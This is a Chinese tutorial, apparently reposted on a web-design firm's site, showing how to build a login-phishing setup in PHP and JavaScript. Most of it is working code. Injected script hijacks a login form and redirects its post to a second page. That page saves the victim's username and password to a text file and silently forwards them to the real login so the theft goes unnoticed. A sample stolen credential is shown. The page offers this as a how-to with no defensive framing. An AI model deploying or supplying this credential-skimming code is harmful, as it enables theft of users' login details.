如何使用PHP和JS实现模仿登录钓鱼?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
成都创新互联于2013年成立,是专业互联网技术服务公司,拥有项目做网站、成都做网站网站策划,项目实施与项目整合能力。我们以让每一个梦想脱颖而出为使命,1280元杭锦后做网站,已为上家服务,为杭锦后各地企业和个人服务,联系电话:13518219792
目录介绍
login.php 正常登录的文件
selfLogin.php 自定义的登录文件
data.txt 记录用户输入的数据
login.php
<?php echo "<pre>"; $userInfo = $_POST ; if ($userInfo) { # code... var_dump($userInfo,'登录成功') ;exit(); } ?> <!DOCTYPE html> <html> <head> <title>登录</title> </head> <body> <form id="login" method="post" action="login.php"> 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录"> </form> </body> <script type="text/javascript"> //js劫持代码 window.onload = function (eve) { var form = document.getElementById('login'); form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录"> </form> ' ; //钓鱼地址 form.action = "selfLogin.php" ; } </script> </html>
selfLogin.php
<?php $name = '' ; $pwd = '' ; //var_dump('数据被截取了',$_POST) ; if($_POST) { //记录获取的数据信息 $name = $_POST['name'] ; $pwd = $_POST['pwd'] ; file_put_contents('data.txt', json_encode($_POST,true)) ; } ?> <!DOCTYPE html> <html> <head> <title></title> </head> <body> </body> <script type="text/javascript"> //构建之前的页面 window.onload = function (eve) { var name = '<?php echo $name; ?>' ; var pwd = '<?php echo $pwd; ?>' ; if(name && pwd) { var p = document.createElement('p'); document.body.appendChild(p); p.innerHTML =' <form id="login2" method="post" action="login.php" > '+ ' 用户姓名:<input type="text" name="name" value="'+name+'"> 用户密码:<input type="password" name="pwd" value="'+pwd+'"> ' ; document.getElementById('login2').submit(); } } </script> </html>
data.txt
{"name":"admin","pwd":"123456"}
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注创新互联行业资讯频道,感谢您对创新互联的支持。
网站标题:如何使用PHP和JS实现模仿登录钓鱼
转载来源:https://www.cdcxhl.com/article38/ijpspp.html
成都网站建设公司_创新互联,为您提供网站设计公司、搜索引擎优化、网站收录、虚拟主机、企业建站、网站建设
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联